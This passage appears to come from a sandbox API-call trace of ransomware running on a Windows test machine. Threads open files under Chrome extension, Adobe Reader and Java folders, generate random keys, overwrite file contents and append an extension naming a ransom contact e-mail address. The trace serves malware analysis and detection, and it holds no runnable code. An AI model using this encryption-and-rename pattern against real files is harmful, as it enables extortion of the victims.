10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn21.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn21.hsp")) returned 0x20 [0178.326] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn21.hsp", dwFileAttributes=0x20) returned 0 [0178.326] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn21.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn21.hsp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0178.326] GetLastError () returned 0x5 [0178.326] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn21.hsp", dwFileAttributes=0x20) returned 0 [0178.326] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93a108) returned 1 Thread: id = 6916 os_tid = 0xe60 [0175.257] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json")) returned 0x2020 [0175.257] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json", dwFileAttributes=0x20) returned 1 [0175.258] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x179c [0175.258] GetFileSizeEx (in: hFile=0x179c, lpFileSize=0x2befc88 | out: lpFileSize=0x2befc88*=272) returned 1 [0175.258] SetFilePointerEx (in: hFile=0x179c, liDistanceToMove=0x10c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.258] ReadFile (in: hFile=0x179c, lpBuffer=0x2befc0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2befc08, lpOverlapped=0x0 | out: lpBuffer=0x2befc0c*, lpNumberOfBytesRead=0x2befc08*=0x4, lpOverlapped=0x0) returned 1 [0175.259] SetFilePointerEx (in: hFile=0x179c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.259] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9a08 [0175.259] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98c8 [0175.259] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9d50 [0175.259] NtQuerySystemTime (in: CurrentTime=0x2befbe8 | out: CurrentTime=0x2befbe8*=132174899498518000) returned 0x0 [0175.259] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x25819e13 [0175.259] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x5ce2e268 [0175.259] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x89e85ac [0175.259] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x72155cde [0175.259] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x7a65af14 [0175.259] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x79bc453c [0175.259] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x11627b38 [0175.259] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x2fbfc6d4 [0175.259] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x1c978164 [0175.259] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x7e2b3572 [0175.259] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x63098e14 [0175.259] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x582fb15b [0175.259] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x151187f4 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x3f99667 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x7e25e62 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x4b847774 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x58f856bb [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x59dbd082 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x183fc076 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x7743a72f [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x6f5f8985 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x59b0f7c2 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x590594c2 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x4f84aa1d [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x762c8e31 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x7d0bcd5c [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x1063fb2b [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x468889f4 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x783e0e07 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x3146632 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0x780c1466 [0175.260] RtlRandomEx (in: Seed=0x2befbf4 | out: Seed=0x2befbf4) returned 0xa3f708 [0175.271] ReadFile (hFile=0x179c, lpBuffer=0xd4f8870, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x2befbe4, lpOverlapped=0x0) [0175.271] SetFilePointerEx (in: hFile=0x179c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.271] WriteFile (in: hFile=0x179c, lpBuffer=0xd498048*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2befbe0, lpOverlapped=0x0 | out: lpBuffer=0xd498048*, lpNumberOfBytesWritten=0x2befbe0*=0x110, lpOverlapped=0x0) returned 1 [0177.137] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af050 [0177.137] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aedd0 [0177.137] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedd0) returned 1 [0177.137] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd498048) returned 1 [0177.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4f8870) returned 1 [0177.140] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8da0) returned 1 [0177.140] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2740) returned 1 [0177.140] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d8928 [0177.140] SetFilePointerEx (in: hFile=0x179c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.140] WriteFile (in: hFile=0x179c, lpBuffer=0x12cf5608*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2befc48, lpOverlapped=0x0 | out: lpBuffer=0x12cf5608*, lpNumberOfBytesWritten=0x2befc48*=0x10b, lpOverlapped=0x0) returned 1 [0178.518] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5608) returned 1 [0178.518] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88c8) returned 1 [0178.518] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedd0) returned 1 [0178.518] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0178.518] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af050) returned 1 [0178.518] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98c8) returned 1 [0178.518] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9878) returned 1 [0178.518] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9d28) returned 1 [0178.518] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x91c620 [0178.518] wcscpy (in: _Dest=0x91c620, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" [0178.518] wcscat (in: _Dest=0x91c620, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0178.518] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2befc00, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0178.518] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x929730 Thread: id = 6917 os_tid = 0xe64 [0175.274] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Adelaide" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\adelaide")) returned 0x20 [0175.275] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Adelaide", dwFileAttributes=0x20) returned 0 [0175.275] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Adelaide" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\adelaide"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0175.275] GetLastError () returned 0x5 [0175.275] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Adelaide", dwFileAttributes=0x20) returned 0 [0175.275] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0e00) returned 1 Thread: id = 6918 os_tid = 0xe68 [0175.277] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Brisbane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\brisbane")) returned 0x20 [0176.216] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Brisbane", dwFileAttributes=0x20) returned 0 [0176.216] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Brisbane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\brisbane"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0176.216] GetLastError () returned 0x5 [0176.216] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Brisbane", dwFileAttributes=0x20) returned 0 [0176.216] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0100) returned 1 Thread: id = 6919 os_tid = 0xe6c [0175.278] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Broken_Hill" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\broken_hill")) returned 0x20 [0176.218] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Broken_Hill", dwFileAttributes=0x20) returned 0 [0176.218] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Broken_Hill" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\broken_hill"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0176.218] GetLastError () returned 0x5 [0176.218] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Broken_Hill", dwFileAttributes=0x20) returned 0 [0176.218] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7ca8) returned 1 Thread: id = 6920 os_tid = 0xe70 [0175.278] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Currie" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\currie")) returned 0x20 [0176.219] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Currie", dwFileAttributes=0x20) returned 0 [0176.219] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Currie" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\currie"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0176.219] GetLastError () returned 0x5 [0176.219] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Currie", dwFileAttributes=0x20) returned 0 [0176.219] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0500) returned 1 Thread: id = 6921 os_tid = 0xe74 [0175.279] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Darwin" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\darwin")) returned 0x20 [0176.220] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Darwin", dwFileAttributes=0x20) returned 0 [0176.220] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Darwin" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\darwin"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0176.220] GetLastError () returned 0x5 [0176.220] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Darwin", dwFileAttributes=0x20) returned 0 [0176.220] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0180) returned 1 Thread: id = 6922 os_tid = 0xe78 [0175.280] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Eucla" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\eucla")) returned 0x20 [0176.221] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Eucla", dwFileAttributes=0x20) returned 0 [0176.221] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Eucla" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\eucla"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0176.221] GetLastError () returned 0x5 [0176.221] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Eucla", dwFileAttributes=0x20) returned 0 [0176.221] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8878) returned 1 Thread: id = 6954 os_tid = 0x1b18 [0175.524] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json")) returned 0x2020 [0175.524] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json", dwFileAttributes=0x20) returned 1 [0178.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1438 [0178.719] GetFileSizeEx (in: hFile=0x1438, lpFileSize=0x287faf8 | out: lpFileSize=0x287faf8*=1099) returned 1 [0178.719] SetFilePointerEx (in: hFile=0x1438, liDistanceToMove=0x447, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.719] ReadFile (in: hFile=0x1438, lpBuffer=0x287fa7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x287fa78, lpOverlapped=0x0 | out: lpBuffer=0x287fa7c*, lpNumberOfBytesRead=0x287fa78*=0x4, lpOverlapped=0x0) returned 1 [0178.723] SetFilePointerEx (in: hFile=0x1438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.723] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945ac8 [0178.723] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9092f8 [0178.723] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909370 [0178.723] NtQuerySystemTime (in: CurrentTime=0x287fa58 | out: CurrentTime=0x287fa58*=132174899533150000) returned 0x0 [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x28b0780 [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x33dd9e42 [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x7335e269 [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x1a4a7051 [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x4504fb12 [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x210af77a [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x4d319c63 [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x5450f896 [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x78879de2 [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x4c15ebc4 [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x66541e21 [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x4888d82c [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x42f25f9e [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x7ef4dd29 [0178.723] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x2aaa770c [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x77e1ad2f [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x3ac9aa3d [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0xd093 [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x3a0e6 [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x6f4db06e [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x7a76f627 [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x53d693ea [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x6f425f40 [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x40b8e75a [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x1030fe16 [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x1b136816 [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x1902b6a [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x50e5490a [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x27c64d36 [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x1f4ecbf7 [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x597fc100 [0178.724] RtlRandomEx (in: Seed=0x287fa64 | out: Seed=0x287fa64) returned 0x200c4712 [0178.737] ReadFile (hFile=0x1438, lpBuffer=0x13310048, nNumberOfBytesToRead=0x44b, lpNumberOfBytesRead=0x287fa54, lpOverlapped=0x0) [0178.737] SetFilePointerEx (in: hFile=0x1438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.737] WriteFile (in: hFile=0x1438, lpBuffer=0x1331c850*, nNumberOfBytesToWrite=0x44b, lpNumberOfBytesWritten=0x287fa50, lpOverlapped=0x0 | out: lpBuffer=0x1331c850*, lpNumberOfBytesWritten=0x287fa50*=0x44b, lpOverlapped=0x0) returned 1 [0178.886] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e450 [0178.886] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e1d0 [0178.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e1d0) returned 1 [0178.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1331c850) returned 1 [0178.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13310048) returned 1 [0178.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9160) returned 1 [0178.886] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2620) returned 1 [0178.886] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0xd4d8470 [0178.886] SetFilePointerEx (in: hFile=0x1438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.887] WriteFile (in: hFile=0x1438, lpBuffer=0x12cf5db0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x287fab8, lpOverlapped=0x0 | out: lpBuffer=0x12cf5db0*, lpNumberOfBytesWritten=0x287fab8*=0x10b, lpOverlapped=0x0) returned 1 [0178.904] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5db0) returned 1 [0178.904] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d84a0) returned 1 [0178.904] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e1d0) returned 1 [0178.904] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8470) returned 1 [0178.905] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e450) returned 1 [0178.905] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9092f8) returned 1 [0178.905] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909398) returned 1 [0178.905] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9093c0) returned 1 [0178.905] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x12e4f9b0 [0178.905] wcscpy (in: _Dest=0x12e4f9b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" [0178.905] wcscat (in: _Dest=0x12e4f9b0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 